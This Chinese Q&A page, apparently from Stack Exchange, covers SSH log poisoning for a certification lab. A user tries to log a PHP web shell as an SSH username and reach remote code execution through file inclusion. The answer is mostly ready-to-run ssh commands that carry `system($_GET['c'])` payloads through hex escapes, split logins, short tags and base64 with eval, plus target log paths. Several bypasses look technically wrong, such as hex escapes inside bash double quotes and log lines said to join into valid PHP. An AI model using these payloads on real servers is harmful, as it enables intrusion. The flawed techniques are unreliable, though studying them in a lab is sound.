SSH日志投毒注入PHP代码作为用户名遇字符错误,如何绕过实现RCE?
SSH日志投毒绕过用户名字符限制方案
问题场景
我正在备考一项认证,涉及通过本地文件包含(LFI)与SSH日志投毒实现远程代码执行(RCE)的实验,目标是通过恶意用户名将PHP代码注入SSH日志,再利用目标服务器的LFI漏洞执行该代码。
尝试执行的命令:
ssh '<?php system($_GET['c']); ?>'@192.168.1.129
遇到错误:
remote username contains invalid characters
已尝试方案:
- 转义PHP代码中的单引号,但未解决问题;
- 寻找对用户名中的PHP代码进行编码或伪装的替代方法,但尚未找到可绕过验证的方案。
核心问题:如何在不触发“无效字符”错误的情况下,成功将PHP代码注入用户名以实施SSH日志投毒?是否存在适用于此场景的特定编码或绕过技术?
可行绕过方案
1. 十六进制转义绕过客户端字符检查
SSH客户端的字符限制通常针对可见特殊符号,但允许通过\x前缀的十六进制转义字符输入特殊字符。将PHP代码中的特殊符号转成十六进制,用双引号包裹让Shell解析转义序列,即可绕过本地验证:
原代码<?php system($_GET['c']); ?>的转义对应:
<→\x3C,?→\x3F,>→\x3E,单引号'→\x27
最终执行命令:
ssh "\x3C\x3Fphp system(\x24_GET[\x27c\x27]); \x3F\x3E"@192.168.1.129
2. 拆分代码分两次注入(利用日志多行拼接)
如果SSH日志会完整记录每次登录尝试的用户名,可将PHP代码拆分为两部分,分两次注入,让日志自动拼接成完整代码:
第一次注入开头:
ssh "<?php system(\$_GET['"@192.168.1.129
第二次注入结尾:
ssh "c']); ?>"@192.168.1.129
PHP解析时会忽略日志中的换行,直接执行拼接后的完整代码。
3. 使用PHP短标签减少特殊字符
若目标服务器开启了short_open_tag=On配置,可改用PHP短标签简化代码,减少触发限制的特殊字符:
ssh "<?= system(\$_GET['c']); ?>"@192.168.1.129
4. Base64编码配合PHP解码执行
将PHP代码Base64编码后,用base64_decode配合eval执行,进一步减少特殊字符暴露:
原代码Base64编码结果:PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==
注入命令:
ssh '<?php eval(base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==")); ?>'@192.168.1.129
关键注意事项
- 优先测试十六进制转义方案,兼容性最好;
- 注入后检查SSH日志文件(通常为
/var/log/auth.log或/var/log/secure),确认代码已完整写入; - 利用LFI读取日志时,需避免日志中其他干扰字符影响PHP解析。
内容的提问来源于stack exchange,提问作者Saber BoukHriss
相关产品推荐
相关产品推荐

